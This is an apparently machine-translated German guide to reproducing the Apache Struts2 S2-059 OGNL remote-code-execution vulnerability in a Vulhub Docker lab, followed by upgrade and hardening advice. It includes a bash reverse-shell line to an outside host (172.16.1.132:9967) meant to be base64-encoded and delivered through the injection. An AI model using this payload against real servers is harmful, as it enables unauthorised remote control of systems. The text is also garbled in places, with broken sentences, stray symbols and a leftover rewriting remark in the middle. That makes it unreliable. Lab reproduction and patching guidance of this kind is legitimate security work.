Struts2 ist ein sehr leistungsfähiges Java-Web-Open-Source-Framework, das von der Apache-Softwareorganisation gestartet wurde und im Wesentlichen einem Servlet entspricht. Struts2 basiert auf der MVC-Architektur und verfügt über eine klare Framework-Struktur. Es wird normalerweise als Controller zum Einrichten der Dateninteraktion zwischen Modellen und Ansichten verwendet und zum Erstellen von Java-Webanwendungen auf Unternehmensebene verwendet. Es nutzt und erweitert die Java-Servlet-API und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Struts2 basiert auf den hervorragenden Designideen von WebWork, übernimmt einige der Vorteile des Struts-Frameworks und bietet ein übersichtlicheres Webanwendungs-Framework, das im MVC-Designmuster implementiert ist.
Ein Angreifer kann einen böswilligen OGNL-Ausdruck erstellen und ihn so einstellen, dass er durch externe Eingaben und den Attributwert von geändert wird Das Struts2-Tag des OGNL-Ausdrucks wird ausgeführt, was dazu führt, dass der OGNL-Ausdruck analysiert wird und letztendlich die Auswirkungen der Remotecodeausführung verursacht.
Struts 2.0.0 – Struts 2.5.20
1 Diese Schwachstellenumgebung wird schnell mit Vulhub erstellt. Die Vulhub-Downloadadresse lautet wie folgt:
https://github.com/vulhub /vulhub#🎜 🎜#
cd vulhub-master/struts2/s2-059 2. Verwenden Sie Docker-Compose, um schnell ein zu erstellen Schießstandumgebungdocker-compose up -d 3 Besuchen Sie nach Abschluss des Startvorgangs http://ip :8080/?id=1 im Browser Sie können die Testoberfläche sehen
2. Verwenden Sie poc, um die Shell abzuprallen. Die Nutzlast der Bounce-Shell muss Base64-codiert sein.
bash - i >& /dev/tcp/172.16.1.132/9967 0>&1
base64-codierte URL:
Der ursprüngliche Satz ist bereits ein vollständiger Satz, der einen Link bereitstellt . Wenn ich es umschreiben würde, könnte es so etwas sein: Hier ist ein Link zu einer Webseite mit Informationen zu Runtime-Exec-Payloads: http://www.jackson-t.ca/runtime-exec-payloads.html.
1. Upgrade auf Struts 2.5.22 oder höher
2. Aktivieren Sie den ONGL-Ausdrucksinjektionsschutz.
https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicableDas obige ist der detaillierte Inhalt vonWie reproduziert sich die Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Struts2 S2-059?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!